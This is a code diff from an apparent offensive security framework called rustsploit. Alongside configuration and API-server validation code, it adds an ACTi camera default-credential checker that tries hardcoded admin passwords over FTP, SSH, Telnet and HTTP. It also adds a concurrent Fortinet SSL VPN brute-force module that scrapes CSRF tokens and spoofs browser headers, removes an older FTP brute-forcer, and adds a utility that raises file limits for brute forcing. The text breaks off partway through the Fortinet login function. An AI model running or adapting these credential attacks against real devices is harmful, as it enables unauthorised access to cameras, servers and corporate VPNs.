None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
let target_guard = self.target.read().unwrap();
target_guard.is_some()
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
let target_guard = self.target.read().unwrap();
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
// Calculate size from prefix length
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
Some(size)
}
None => None,
}
}
/// Clear the global target
pub fn clear_target(&self) {
let mut target_guard = self.target.write().unwrap();
*target_guard = None;
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
+121 -1
View File
@@ -1,17 +1,137 @@
use anyhow::Result;
use anyhow::{anyhow, Context, Result};
use clap::Parser;
use std::net::SocketAddr;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
mod api;
mod config;
/// Maximum length for API key to prevent memory exhaustion
const MAX_API_KEY_LENGTH: usize = 256;
/// Maximum length for interface/bind address
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Maximum IP limit for hardening mode
const MAX_IP_LIMIT: u32 = 10000;
/// Validates the bind address format for security
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
// Length check
if trimmed.is_empty() {
return Err(anyhow!("Bind address cannot be empty"));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
return Err(anyhow!(
"Bind address too long (max {} characters)",
MAX_BIND_ADDRESS_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Bind address cannot contain control characters"));
}
// Add port if missing
let with_port = if trimmed.contains(':') {
trimmed.to_string()
} else {
format!("{}:8080", trimmed)
};
// Validate socket address format
with_port.parse::<SocketAddr>()
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
Ok(with_port)
}
/// Validates API key format for security
fn validate_api_key(key: &str) -> Result<String> {
let trimmed = key.trim();
if trimmed.is_empty() {
return Err(anyhow!("API key cannot be empty"));
}
if trimmed.len() > MAX_API_KEY_LENGTH {
return Err(anyhow!(
"API key too long (max {} characters)",
MAX_API_KEY_LENGTH
));
}
// Only allow printable ASCII characters
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
return Err(anyhow!("API key must contain only printable ASCII characters"));
}
Ok(trimmed.to_string())
}
/// Validates IP limit for hardening mode
fn validate_ip_limit(limit: u32) -> Result<u32> {
if limit == 0 {
return Err(anyhow!("IP limit must be greater than 0"));
}
if limit > MAX_IP_LIMIT {
return Err(anyhow!(
"IP limit too high (max {})",
MAX_IP_LIMIT
));
}
Ok(limit)
}
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key_raw = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
// Validate API key
let api_key = validate_api_key(&api_key_raw)
.context("Invalid API key")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// Validate and normalize bind address
let bind_address = validate_bind_address(&interface)
.context("Invalid bind address")?;
let harden = cli_args.harden;
// Validate IP limit
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
let ip_limit = validate_ip_limit(ip_limit_raw)
.context("Invalid IP limit")?;
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
// Target validation is done in config::set_target
config::GLOBAL_CONFIG.set_target(target)?;
println!("✓ Global target set to: {}", target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
@@ -0,0 +1,265 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use colored::*;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
let _ = ftp.quit().await;
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
}
}
}
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
// Print summary
if !found_credentials.is_empty() {
println!();
println!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
}
} else {
println!();
println!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod acti_camera_default;
+1
View File
@@ -0,0 +1 @@
pub mod acti;
-235
View File
@@ -1,235 +0,0 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -0,0 +1,140 @@
use anyhow::{Result, anyhow};
use colored::*;
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
const TARGET_FILE_LIMIT: u64 = 65535;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Module entry point for raising ulimit
pub async fn run(target: &str) -> Result<()> {
// Target parameter is part of standard module interface
// For ulimit operations, target is informational only
if !target.is_empty() {
println!("{}", format!("[*] Target context: {}", target).dimmed());
}
raise_ulimit().await
}
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let mut rlim = rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
if result != 0 {
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
}
Ok((rlim.rlim_cur, rlim.rlim_max))
}
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
let rlim = rlimit {
rlim_cur: soft,
rlim_max: hard,
};
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
if result != 0 {
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
}
Ok(())
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
async fn raise_ulimit() -> Result<()> {
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
} else {
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
match set_file_limit(current_hard, current_hard) {
Ok(()) => {
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
println!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
}
// Also show shell instructions for reference
println!();
println!("{}", "=== Shell Instructions ===".bold());
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
println!("{}", " ulimit -n 65535".white());
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
println!("{}", " * soft nofile 65535".white());
println!("{}", " * hard nofile 65535".white());
Ok(())
}
@@ -0,0 +1,421 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::Write,
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_wordlist, normalize_target,
};
use regex::Regex;
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
.parse().unwrap_or(443);
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let _save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if _save_results {
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
// Optional prompts
// We don't have prompt_optional in shared utils yet?
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
// Actually utils has prompt_default. If user enters empty, it returns default.
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
// Let's implement a quick local helper or use prompt_default("", "") if that works.
// The previous code had `prompt_optional`.
// I will use prompt_default with empty default and check for empty string.
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
// Work generation
if combo_mode {
for user in &users {
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
}
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
for i in 0..max_len {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
let user = &users[i % users.len()];
let pass = &passwords[i % passwords.len()];
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (url, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
async fn spawn_fortinet_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
base_url: String,
realm: Option<String>,
trusted_cert: Option<String>,
found: Arc<Mutex<Vec<(String, String, String)>>>,
stop_signal: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
verbose: bool,
stop_on_success: bool,
timeout: Duration
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
stats.record_success();
if stop_on_success {
stop_signal.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
}
}
}
sleep(Duration::from_millis(100)).await;
}));
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.form(&form_data)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
return Ok(false);
}
// Check status and cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
